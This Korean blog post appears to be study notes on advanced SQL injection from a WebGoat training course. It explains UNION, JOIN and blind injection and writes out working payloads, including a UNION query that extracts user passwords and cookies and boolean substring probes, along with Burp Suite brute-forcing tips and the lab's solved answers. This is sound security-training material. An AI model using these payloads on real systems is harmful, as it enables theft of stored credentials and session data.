본문 바로가기
강의 및 교육/Inflearn - Webgoat

SQL Injection (advanced)

by 이우정 2022. 3. 7.
728x90
',+,||         allows string concatenation
Char()         strings without quotes

Example: SELECT * FROM users WHERE name = '+char(27) OR 1=1

Union

두 개의 Select 결과를 하나로 합침 / 중복은 하나로 표시 / 컬럼의 개수가 같아야하고 데이터 타입이 동일

SELECT * FROM [A] UNION (ALL) SELECT * FROM [B]
SELECT first_name FROM user_system_data UNION SELECT login_count FROM user_data;

Join

둘 이상의 테이블을 연결하여 데이터 검색

SELECT [Columns] FROM [A] INNER JOIN [B] ON [A.ID = B.ID];
SELECT * FROM user_data INNER JOIN user_data_tan ON user_data.userid=user_data_tan.userid;

Dave' union select userid, user_name, password, cookie, null, null, null from user_system_data --

union은 컬럼의 수가 동일해야함. 
user_system_data table의 컬럼이 user_data table의 컬럼의 수보다 3개가 적기때문에 null로 갯수를 맞춰준다.

union을 통해 컬럼의 수를 확인할 수 있다. 

' union select all 1,2,3,4,5,6,7 #

Blind SQL Injection

 

오류 메시지가 출력되지 않을 때 사용하는 공격 기법

파라미터 article_id의 값이 4라면 SQL에 들어가는 형식이 첫번째박스와 같고 뒤에 AND 1=1이 붙으면 두번째와 같다.

https://shop.example.com?article=4 AND 1=2
                                      False    => AND는 F가 있다면 F로 결과가 나온다.
=> False에 대한 결과 화면 출력
https://shop.example.com?article=4 AND substring(database_version(),1,1) = 2
//  substring을 통해 한글자씩 잘라서 맞는지 틀린지 확인 할 수 있다.

True일 때 화면
false일 때 화면

Burp Suite

Positions 두개 선택하고 cluster bomb 사용하면 숫자돌아가면서 알파벳도 돌릴 수 있음

7번자리 a임

thisisasecretfortomonly


1 3 2 3 4

728x90

'강의 및 교육 > Inflearn - Webgoat' 카테고리의 다른 글

Vulnerable Components - Exploiting CVE-2013-7285 (XStream)  (0) 2022.03.14
SQL Injection (mitigation)  (0) 2022.03.08
SQL Injection (intro)  (0) 2022.03.06
Challenges  (0) 2022.03.05
Server-Side Request Forgery - 3, 4  (0) 2022.03.03